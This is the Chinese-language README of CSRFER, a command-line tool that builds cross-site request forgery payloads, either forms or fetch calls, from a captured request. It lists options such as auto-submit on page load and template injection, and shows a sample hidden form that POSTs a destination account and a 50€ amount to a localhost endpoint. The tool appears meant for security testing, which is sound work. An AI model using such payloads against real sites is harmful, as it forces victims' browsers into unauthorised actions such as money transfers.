_____ _________________ ___________
/ __ \/ ___| ___ \ ___| ___| ___ \
| / \/\ `--.| |_/ / |_ | |__ | |_/ /
| | `--. \ /| _| | __|| /
| \__/\/\__/ / |\ \| | | |___| |\ \
\____/\____/\_| \_\_| \____/\_| \_|
-.--.
) " '-,
',' 2 \_
\q \ . \
_.--' '----.__
/ ._ _.__ \__
_.'_.' \_ .-._\_ '-, }
(,/ _.---;-( . \ \ ~
____ ( .___\_\ \/_/
( '-._ \ \ |
'._ ),> _) >
'-._ c=' Cooo -._
'-._ '.
'-._ `\
snd '-._ '.
'-._ \
`~---'
CSRFER 是一个基于漏洞请求生成 CSRF payload 的工具。
它解析提供的请求,生成 form 或 fetch 请求。生成的 payload 可以嵌入到 HTML 模板中。
npm install -g csrfer
Usage: csrfer [options]
Options:
--version 显示版本号
-r, --request 要使用的请求文件路径
-m, --mode 生成代码的模式。可用选项:form、fetch。(默认为 form)
-a, --autosubmit 页面加载时自动提交请求
-s, --show 显示表单输入(仅适用于 form 模式)
-o, --output 将 payload 输出到指定文件而不是标准输出
-t, --template HTML 模板页面的路径。使用占位符 {{CONTENT}} 指定代码注入位置(在 HTML 中,而非 JS)
-T, --defaulttemplate 如果希望将代码注入到默认 HTML 页面,请使用此选项。
-h, --help 显示帮助
示例:
csrfer -r req.txt -m form -a 自动提交表单请求
csrfer -r req.txt -m form -s 生成并显示需要手动提交的表单
csrfer -r req.txt -m fetch -t my_template.html 生成 fetch 请求并使用提供的模板页面
<!DOCTYPE html>
<html>
<head>
<title>This is Hello World page</title>
</head>
<body>
<h1>Hello World</h1>
<form id="csrf" name="csrf" action="http://localhost:8000/1.php" method="POST"
enctype="application/x-www-form-urlencoded"><input id='destination' name='destination' type='hidden'
value='123-123123-123' /><br><input id='amount' name='amount' type='hidden' value='50€' /><br><input
type='submit' value='submit'></form>
</body>
</html>
本项目采用 MIT 许可证。